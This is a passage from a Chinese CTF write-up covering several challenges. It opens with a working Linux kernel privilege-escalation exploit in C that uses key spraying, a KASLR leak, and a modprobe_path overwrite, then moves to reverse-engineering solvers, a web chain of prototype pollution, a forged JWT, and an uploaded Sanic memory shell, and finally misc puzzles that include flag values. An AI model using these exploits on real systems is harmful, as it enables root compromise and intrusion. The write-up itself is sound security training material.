(ioctl(fd, 0x50, &req) < 0) { err_exit("FAILED to edit chunk"); } } void allocate(char *buf) { request req = { .buf = buf }; if (ioctl(fd, 0x20, &buf) < 0) { err_exit("Failed to allocate chunk"); } } void start() { fd = open("/dev/ker", O_RDWR); if (fd == 0) { err_exit("FAILED to open dev file"); } } uint64_t maybe_leak[] = { 0xffffffff8236ca40, 0xffffffffc0203000, 0xffffffff82711453, 0xffffffff811b6530, 0xffffffff81d5d210, 0xffffffff81d5d240, 0xffffffff810da8f1, 0xffffffff8274c13e, 0xffffffffc0203210, 0xffffffff8236ca40, 0xffffffff81d5d250, 0xffffffff81d5d290, 0xffff888006f71198, 0xffffffffc0205000, 0xffffffff811b6530, 0xffffffffc0201000, 0xffffffff811b6530, 0xffffffff82726c9a, 0xffffffff822528e0, 0xffffffff8335d900, 0xffffffff8272d9cf, 0xffffffff82252820, 0xffffffff83301560, 0xffffffff812ecf50, 0xffffffff832af780, 0xffffffff81d5d210, 0xffffffff81d5d240, 0xffffffff84751b80, 0xffffffff810da8f1, 0xffffffff8199f0ad, 0xffffffff83301500, 0xffffffff82252820, 0xffffffff82775856, 0xffffffff82252580, }; uint64_t check_leak(uint64_t addr) { uint64_t res = -1; for (int i = 0; i < sizeof(maybe_leak) / sizeof(uint64_t); i++) { if (((addr&0xffffffff00000000) == 0xffffffff00000000) && ((maybe_leak[i]&0xfff) == (addr&0xfff))) { res = addr - maybe_leak[i]; break; } } return res; } void unshare_setup(void) { char edit[0x100]; int tmp_fd; if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_exit("FAILED to create a new namespace"); tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd); tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); } #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1); struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1); } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) puts("socket(AF_PACKET)"), exit(-1); packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) puts("bind(AF_PACKET)"), exit(-1); return s; } // count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8 // size/4096 为要分配的 order int pagealloc_pad(int count, int size) { return packet_socket_setup(size, 2048, count, 0, 100); } void get_flag(){ system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x system("chmod +x /tmp/x"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件 system("chmod +x /tmp/dummy"); system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x sleep(0.3); system("cat /flag"); exit(0); } uint64_t modp = 0xffffffff831d8ce0; uint64_t koffset = -1; int evil_id = -1; int orgi_id = -1; int main(int argc, char** argv, char** envp) { bind_core(0); // int pipe_fd[2]; // pipe(pipe_fd); // pid_t pid = fork(); // //if (!pid) { unshare_setup(); #define SPRAY_KEYS 0x80 char buf[0x1000] = { 0 }; int key_id[SPRAY_KEYS] = { 0 }; char desc[0x100] = { 0 }; int res = -1; start(); allocate(buf); delete(buf); for (int i = 0; i < SPRAY_KEYS; i++) { sprintf(desc, "XiaozaYa-%d\n", i); memset(buf, 'A', 0x40); *(int64_t*)(buf) = i; key_id[i] = key_alloc(desc, buf, 30); // if (key_id[i] <= 0) { // err_exit("Failed to key_alloc"); // } } delete(buf); // for (int i = SPRAY_KEYS / 2; i < SPRAY_KEYS; i++) { // key_revoke(key_id[i]); // key_unlink(key_id[i]); // } /* for (int i = 0; i < SPRAY_KEYS / 2; i++) { memset(buf, 0, sizeof(buf)); key_read(key_id[i], buf, 30); if (*(uint64_t*)buf != i) { evil_id = *(uint64_t*)buf; orgi_id = i; info("hit"); binary_dump("READ DATA", buf, 30); break; } } */ sleep(1); while (1) { memset(buf, 'B', sizeof(buf)); *(uint64_t*)(buf + 0x00) = 0; *(uint64_t*)(buf + 0x08) = 0; *(uint64_t*)(buf + 0x10) = 0x1000-0x40; close(fd); start(); allocate(buf); for (int i = 0; i < SPRAY_KEYS; i++) { memset(buf, '\x00', sizeof(buf)); res = key_read(key_id[i], buf, 0x1000-0x40); // printf("[+] Read Length: %d\n", res); // binary_dump("LEAK DATA", buf, 30); if (res > 30) { evil_id = i; goto HIT; } } } HIT: // hexx("evil_id", evil_id); for (int i = 0; i < SPRAY_KEYS; i++) { if (i != evil_id) { key_revoke(key_id[i]); key_unlink(key_id[i]); } } sleep(2); memset(buf, '\x00', sizeof(buf)); res = key_read(key_id[evil_id], buf, 0x1000-0x40); // binary_dump("LEAK DATA", buf, res); for (int i = 0; i < res; i+=8) { uint64_t addr = *(uint64_t*)(buf + i); // hexx("addr", addr); koffset = check_leak(addr); if (koffset != -1) { break; } } modp += koffset; // hexx("koffset", koffset); // hexx("modp", modp); int nr = 0x40 / 8; memset(buf, '\x00', sizeof(buf)); *(uint64_t*)(buf + 0x00) = modp & ~0xfff; key_revoke(key_id[evil_id]); // key_unlink(key_id[evil_id]); sleep(1); int packet_fd = pagealloc_pad(nr, 0x1000); edit(buf); char *page = NULL, *modprobe_path = NULL; page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0); // if ((uint64_t)page == -1) { // err_exit("mmap"); // } modprobe_path = page + (modp & 0xfff); // if (!strcmp(modprobe_path, "/sbin/modprobe")) { // info("success"); strcpy(modprobe_path, "/tmp/x"); munmap(page, 0x1000*nr); get_flag(); // } //} else if (pid < 0) { // err_exit("fork"); //} else { // char buf[1] = { 0 }; // read(pipe_fd[0], buf, 1); // puts("Debug"); // getchar(); // puts("[+] EXP NERVER END"); //} return 0; } Reeasyre花指令混淆,但是由于程序不大,可以动调确认逻辑,最后直接手撕即可 #include<stdio.h> unsigned char key[] = { 0xDB, 0xD9, 0x6F, 0xEF, 0xD3, 0x73, 0xC2, 0xD2, 0x12, 0xE4, 0x97, 0x6F, 0x24, 0xD6, 0xBF, 0x72 }; unsigned int* key_p=(unsigned int *)key; #include <stdio.h> #include <stdint.h> void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; for (i=0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } v[0]=v0; v[1]=v1; } void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0]=v0; v[1]=v1; } int main() { unsigned char pl[] = { 161,227,81,152,134,86,118,73,111,107,43,129,207,206,18,150,162,112,53,60,49,98,92,241,250,119,107,170,158,109,5,190,232,36,164,248,219,35,58,11,22,32,204,3,173,181,43,169,52,159,120,29,46,185,249,158 }; decipher(0x66,pl,key_p); decipher(0x66,pl+8,key_p); decipher(0x66,pl+8+8,key_p); decipher(0x66,pl+8+16,key_p); decipher(0x66,pl+8+16+8,key_p); decipher(0x66,pl+8+16+16,key_p); decipher(0x66,pl+8+16+16+8,key_p); for(int i=0;i<0x38;i++){ pl[i]=(0x3f-pl[i])&0xff; } for(int i=0;i<0x38;i++){ printf("%c",pl[i]); } printf("\n"); } babyre直接丢入ida分析,输入uuid后做aes加密,然后转二进制字符串后做一个验证,验证并不是直接比较因此有些麻烦,但可以通过爆破直接恢复,一个个字节爆破即可 #include <iostream> #include"ida.h" __int64 __fastcall check(__int64 a1) { int v1; // r8d int v2; // ecx int v3; // ecx int v5; // [rsp+8h] [rbp-38h] int v6; // [rsp+Ch] [rbp-34h] int v7; // [rsp+10h] [rbp-30h] int v8; // [rsp+14h] [rbp-2Ch] int v9; // [rsp+18h] [rbp-28h] int v10; // [rsp+1Ch] [rbp-24h] int v11; // [rsp+20h] [rbp-20h] int v12; // [rsp+24h] [rbp-1Ch] int v13; // [rsp+28h] [rbp-18h] int v14; // [rsp+2Ch] [rbp-14h] int v15[2]; // [rsp+30h] [rbp-10h] int i; // [rsp+38h] [rbp-8h] unsigned int v17; // [rsp+3Ch] [rbp-4h] v17 = 1; for (i = 0; i <= 0; ++i) { v15[1] = *(_DWORD*)(48LL * i + a1); v15[0] = *(_DWORD*)(48LL * i + a1 + 4); v14 = *(_DWORD*)(48LL * i + a1 + 8); v13 = *(_DWORD*)(48LL * i + a1 + 12); v12 = *(_DWORD*)(48LL * i + a1 + 16); v11 = *(_DWORD*)(48LL * i + a1 + 20); v10 = *(_DWORD*)(48LL * i + a1 + 24); v9 = *(_DWORD*)(48LL * i + a1 + 28); v8 = *(_DWORD*)(48LL * i + a1 + 32); v7 = *(_DWORD*)(48LL * i + a1 + 36); v6 = *(_DWORD*)(48LL * i + a1 + 40); v5 = *(_DWORD*)(48LL * i + a1 + 44); v1 = (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v9 & (v11 == 0) & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v10 == 0) & (v6 == 0) | (unsigned __int8)v7 & (unsigned __int8)v9 & (unsigned __int8)v11 & (v13 == 0) & (v14 == 0) & v15[1] & (v15[0] == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (unsigned __int8)(v14 & v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0); v2 = (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & v15[0] & (v15[1] == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v13 & (unsigned __int8)v14 & (*(_QWORD*)v15 == 0LL) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0); v3 = (unsigned __int8)v5 & (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v8 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & ((v12 | v13 | v14 | v15[0] | v15[1]) == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v5 & (v7 == 0) & (v8 == 0) & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[1] & (v15[0] == 0) & (v13 == 0) & (v6 == 0) | v2; if (!((unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (v10 == 0) & (v11 == 0) & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v9 == 0) | v3 | (unsigned __int8)v6 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & ((v13 | v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v9 == 0) & (v5 == 0))) v17 = 0; } return v17; } void byteToBinaryString(unsigned char byte, unsigned int* binaryArray) { int i; for (i = 7; i >= 0; i--) { binaryArray[7 - i] = ((byte & (1 << i)) ? 1 : 0); } } int main() { std::cout << "Hello World!\n"; for (unsigned int i = 0; i < 0xff; i++) { unsigned int binary[12]; binary[8] = 1; binary[9] = 1; binary[10] = 1; binary[11] = 1; byteToBinaryString(i, binary); if (check((uint64)binary)) { printf("%x", i); } } }>> > from Crypto.Cipher import AES >> > c = bytes.fromhex("128fecc28504b24c5bba4acf11360a48") >> > key = bytes.fromhex("3577402ECCA44A3F9AB72182F9B01F35") >> > aes = AES.new(key = key, mode = AES.MODE_ECB) >> > m = aes.decrypt(c) >> > m.hex() '4d87ef0377bb491a80f54620245807c4' >> >Serv1cemyclassVar.decode是RC4+base64,两个OnClickListener中分别调用startService和stopService MainActivity通过intent将input传递给MyService MyService是一个service类,经过onCreate和onStartCommand后this.num=11 可以直接拿到key,关键在于native层的check check逐字节加密并比较 根据条件z3嗦flag from z3 import * # 已知数组 v (请根据实际情况填入 36 个已知值) enc = [ 0xB9, 0x32, 0xC2, 0xD4, 0x69, 0xD5, 0xCA, 0xFB, 0xF8, 0xFB, 0x80, 0x7C, 0xD4, 0xE5, 0x93, 0xD5, 0x1C, 0x8B, 0xF8, 0xDF, 0xDA, 0xA1, 0x11, 0xF8, 0xA1, 0x93, 0x93, 0xC2, 0x7C, 0x8B, 0x1C, 0x66, 0x01, 0x3D, 0xA3, 0x67] num = 11 # 求key key_str = "1liIl11lIllIIl11llII" key = bytearray(64) for i in range(64): char = key_str[i % len(key_str)] key[i] = ((ord(char) - ord('w')) ^ 23) & 255 print("Key:",key) # key=[173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197, 226, 173, 173, 226, 197, 226, 226, 197, 197, 226, 173, 173, 226, 226, 197, 197, 173, 226, 229, 197] # 创建 Z3 Solver solver = Solver() # 创建 input 数组 input = [BitVec(f'flag{i}', 8) for i in range(36)] # 添加约束 for i in range(36): tmp = (input[i] ^ key[i]) * num solver.add(tmp == enc[i]) # 输出flag if solver.check() == sat: model = solver.model() result = [model[input[i]].as_long() for i in range(36)] # 将字节数组转换为字符串 flag = ''.join(chr(byte) for byte in result) print(f"flag{{{flag}}}") # flag{f4c99233-3b19-426c-8ca6-a44d1c67f5d8} else: print("No solution found.")a_game分析该程序 在某个函数的位置发现一个解密的功能 控制程序走到这一段 运行后发现其会解密出一个powershell脚本并运行 将powershell脚本提取出来 可以发现采用了混淆的手法 并且使用iex执行 将iex修改为write-out打印出来 重复以上操作多次 最后解密出如下的代码 逆向一下发现是嵌套了RC4以及其他的一些算法 并且从注册表中读取输入的内容 最后密文如下 原有代码基础上写脚本逆向 enenenen1 原本以为循环加密的36次 结果在第一轮解密的时候就可能成功打印出正确结果,, function d2 { param( $inputbyte ) $key = @(0x70, 0x30, 0x77, 0x65, 0x72) for ($k = 0; $k -lt $inputbyte.Length; $k++) { $inputbyte[$k] = ($inputbyte[$k] - $key[$k % $key.Length]) } return $inputbyte; } function d3 { param( $inputbyte ) $key = @(0x70, 0x30, 0x77, 0x33, 0x72) for ($k = 0; $k -lt $inputbyte.Length; $k++) { $inputbyte[$k] = $inputbyte[$k] / $key[$k % $key.Length] } return $inputbyte; } function d1 { param( $inputbyte ) $key = $inputbyte[36..40 ] $encryptedText = $inputbyte[0..35] Write-Host $encryptedText #Write-Output "" Write-Host $key #$encryptedText = @(); for ($k = 0; $k -lt $encryptedText.Length ; $k++) { $key = enenenenene -plaintextBytes $key -keyBytes $encryptedText; $encryptedText = enenenenene -plaintextBytes $inputbyte -keyBytes $key; Write-Host $encryptedText #Write-Output "" Write-Host $key } Write-Output("HHHHHHHHH") return $encryptedText } $result = @(38304, 8928, 43673, 25957 , 67260, 47152, 16656, 62832 , 19480 , 66690, 40432, 15072 , 63427 , 28558 , 54606, 47712 , 18240 , 68187 , 18256, 63954 , 48384, 14784, 60690 , 21724 , 53238 , 64176 , 9888 , 54859 , 23050 , 58368 , 46032 , 15648 , 64260 , 17899 , 52782 , 51968 , 12336 , 69377 , 27844 , 43206 , 63616) #2 2 3 2 2 2 1() $test = @(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36) $out = enenenenene1 -input $test Write-Host "encrypt:" Write-Host $out Write-Host "decrypt:" $out2 = d1 -input $out #Write-Host $out2 -NoNewline Write-Host "real decrypt:" (d1 -input (d2 -input (d2 -input (d2 -input (d3 -input ( d2 -input (d2 -input $result))))))) 转换一下即可 =-= = [55,51,52,49,50,48,51,54,45,55,100,56,99,45,52,51,55,98,45,57,48,50,54,45,48,99,50,99,97,49,98,55,102,55,57,100] print(flag) print(bytes(flag))Webcapoo非预期,能直接读start.sh,解码出里面的flag文件名也可以直接读取 解码即可得到flag ez_pickerurl/register 注册用户admin/admin url/login 登录 url/upload 显示{“status”:”fail”,”message”:”Permission Denied”} 查看token 根据源码得知,把guest改为admin即可访问upload 但是需要secret_key作为修改前提 def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) 打python污染,进行污染secret_key 然后修改jwt 存在上传点 https://www.cnblogs.com/gxngxngxn/p/18205235 根据这篇文章去打sanic框架下的内存马 生成然后上传 发现存在过滤 去污染 污染后成功上传 /gxngxngxn?gxngxngxn=cat /tr3e_fl4g_1s_h3re_lol 得到flag Miscezflag下载附件,解压,发现流量包丢流量包工具 CTF-NET 中 发现存在flag.zip 一键分离所有文件 解压出flag.zip 但是没办法打开,拖入010中 很清晰的看见有图片头 改后缀为png 得到flag PvZ1.打开压缩包,里面有一个压缩包,问密码是多少钱,看另一个文件夹 2.里面有一个文档,上面说:”李华的梦想是攒钱买毁灭菇加农炮,可是他总攒不住钱,请帮他理财,算一下他刚开始的这局游戏花了多少钱”(也就是密码),此外带有一张图片,上面有游戏的信息 3. ,阳光南瓜掌价格是225,会产生阳光(每25s产生50点阳光),土豆加农炮价格150(每30s可以拥有一发炮弹,炸僵尸可以获得50阳光),黄油地刺价格未知,不会产生阳光。但是在现在的栏目中并没有黄油地刺,李华最少使用了两次四叶草来换植物,每次是50,因此可以判断价格在600-1000之间(价格是md5值),直接是会用脚本生成600-1000的md5值 import hashlib def generate_md5(number): return hashlib.md5(str(number).encode()).hexdigest() for i in range(599, 1001): print(f"{generate_md5(i)}") 得到字典后,用ARCHPR暴力破解可以知道使用了738点阳光(md5=217eedd1ba8c592db97d0dbe54c7adfc) 得到一张歪斜的不全的二维码和一个角上的信息 先使用夸克进行矫正,然后利用 然后稍微确定一下定位符的位置,利用ppt进行拼接即可扫得到一串 微信扫码得到 ![YG{VDTveRc10qpnJ+*)G!~f1{d@-}v<)9xqYonsrqj0hPlkdcb(`Hd]#a`_A@VzZY;Qu8NMqKPONGkK-,BGF?cCBA@">76Z:321U54-21*Non,+*#G'&%$d"y?w_uzsr8vunVrk1ongOe+ihgfeG]#[ZY^W\UZSwWVUNrRQ3IHGLEiCBAFE>=aA:9>765:981Uvu-2+O/.nm+$Hi'~}|B"!~}|u]s9qYonsrqj0hmlkjc)gIedcb[!YX]\UZSwWVUN6LpP2HMFEDhHG@dDCBA:^!~<;:921U/u3,+*Non&%*)('&}C{cy?}|{zs[q7unVl2ponmleMib(fHG]b[Z~k结合图片名称猜测得到 Find way to read video1.解压后是一个文字文档,上面说amili0721放了他的邮件模版放在了一个公众平台上2.可以在gitcode中找到一个和amily0721有关的邮件,上面的名称是邮件模版,那应该就是这个了。 3.垃圾邮件解码(spammimic解码)解码得BV1FD2EYyEWo eyJ2IjozLCJuIjoiZmxhZyIsInMiOiIiLCJoIjoiMDI1NTVlZiIsIm0iOjkwLCJrIjo4MSwibWciOjIwMCwia2ciOjEzMCwibCI6NDMsInNsIjoxLCJmaGwiOlsiMjUyZjEwYyIsImFjYWM4NmMiLCJjYTk3ODExIiwiY2QwYWE5OCIsIjAyMWZiNTkiLCI0ZTA3NDA4IiwiNWZlY2ViNiIsIjNlMjNlODEiLCIzZTIzZTgxIiwiMTk1ODFlMiIsIjE4YWMzZTciLCI2Yjg2YjI3IiwiMThhYzNlNyIsIjM5NzNlMDIiLCIxOGFjM2U3IiwiMThhYzNlNyIsImU3ZjZjMDEiLCI0ZTA3NDA4IiwiMzk3M2UwMiIsIjRiMjI3NzciLCJkNDczNWUzIiwiNmI4NmIyNyIsIjRlMDc0MDgiLCIzOTczZTAyIiwiY2E5NzgxMSIsIjRlMDc0MDgiLCI2Yjg2YjI3IiwiZTdmNmMwMSIsIjM5NzNlMDIiLCJjYTk3ODExIiwiMThhYzNlNyIsIjE4YWMzZTciLCI0YjIyNzc3IiwiNGIyMjc3NyIsIjRiMjI3NzciLCJlZjJkMTI3IiwiMTk1ODFlMiIsIjZiODZiMjciLCI0YjIyNzc3IiwiNzkwMjY5OSIsIjJjNjI0MjMiLCJkMTBiMzZhIiwiMDFiYTQ3MSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNmUzNDBiOSIsIjZlMzQwYjkiLCI2ZTM0MGI5IiwiNzliZWM3ZiIsImU3N2I5YTkiLCJhYjg5N2ZiIiwiNGFlODE1NyIsImNiZTVjZmQiLCI4OGFhM2UzIiwiMTQ4ZGU5YyIsIjVkNWM3ZDIiLCI5NDlmOTRkIl194.base64解码.]E.a.ÈE¨{"v":3,"n":"flag","s":"","h":"02555ef","m":90,"k":81,"mg":200,"kg":130,"l":43,"sl":1,"fhl":["252f10c","acac86c","ca97811","cd0aa98","021fb59","4e07408","5feceb6","3e23e81","3e23e81","19581e2","18ac3e7","6b86b27","18ac3e7","3973e02","18ac3e7","18ac3e7","e7f6c01","4e07408","3973e02","4b22777","d4735e3","6b86b27","4e07408","3973e02","ca97811","4e07408","6b86b27","e7f6c01","3973e02","ca97811","18ac3e7","18ac3e7","4b22777","4b22777","4b22777","ef2d127","19581e2","6b86b27","4b22777","7902699","2c62423","d10b36a","01ba471","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","6e340b9","79bec7f","e77b9a9","ab897fb","4ae8157","cbe5cfd","88aa3e3","148de9c","5d5c7d2","949f94d"]}5.分析得到的内容¨{"v":3,"n":"flag","s":"","h":"02555ef","m":90,"k":81,"mg":200,"kg":130,"l":43,"sl":1,"fhl":6.脚本(来自于其他师傅)```pythonimport hashlib # 导入hashlib库,用于生成哈希值import string # 导入string库,用于获取所有可打印字符 # 获取所有可能的字符possible_chars = string.printable # 包含所有可打印字符 # 建立哈希前缀到字符的映射hash_prefix_to_char = {}for char in possible_chars: sha256_hash = hashlib.sha256(char.encode()).hexdigest() # 对每个字符进行SHA-256哈希计算 prefix = sha256_hash[:7] # 取哈希值的前7个字符作为前缀 hash_prefix_to_char[prefix] = char # 将前缀和字符对应起来存入字典 # 给定的哈希前缀列表fhl = [ "252f10c", "acac86c", "ca97811", "cd0aa98", "021fb59", "2c62423", "4e07408", "4e07408", "ca97811", "2e7d2c0", "6b86b27", "3f79bb7", "4e07408", "3973e02", "d4735e3", "4b22777", "7902699", "e7f6c01", "3973e02", "4b22777", "4b22777", "6b86b27", "2e7d2c0", "3973e02", "ca97811", "3f79bb7", "4e07408", "d4735e3", "3973e02", "3f79bb7", "3f79bb7", "252f10c", "3f79bb7", "6b86b27", "18ac3e7", "5feceb6", "4e07408", "18ac3e7", "18ac3e7", "19581e2", "3f79bb7", "d10b36a", "01ba471", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "6e340b9", "77adfc9", "de7d1b7", "44bd7ae", "bb7208b", "83891d7", "2a0ab73", "fe1dcd3", "559aead", "f031efa"] # 重建消息message = ''for prefix in fhl: char = hash_prefix_to_char.get(prefix) # 根据前缀从字典中获取对应的字符 if char: message += char # 如果找到对应的字符,则添加到消息中 else: message += '?' # 如果找不到对应的字符,则添加问号表示未知字符 print("重建的消息:", message) # 输出重建的消息```7.得到flagflag{833ac1e3-2476-441c-ae32-eefe1d03dd9e} 原文附件内容:链接: https://pan.baidu.com/s/1UHre0MYWMzGAjnqm89Bfug 提取码: r4xn 转自原文链接地址: https://blog.xmcve.com/2024/10/20/%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%812024-Writeup/#title-20https://blog.csdn.net/2303_81631620/article/details/143134285 https://mp.weixin.qq.com/s/pVRANr1ldL2PnD4w9kv0mg
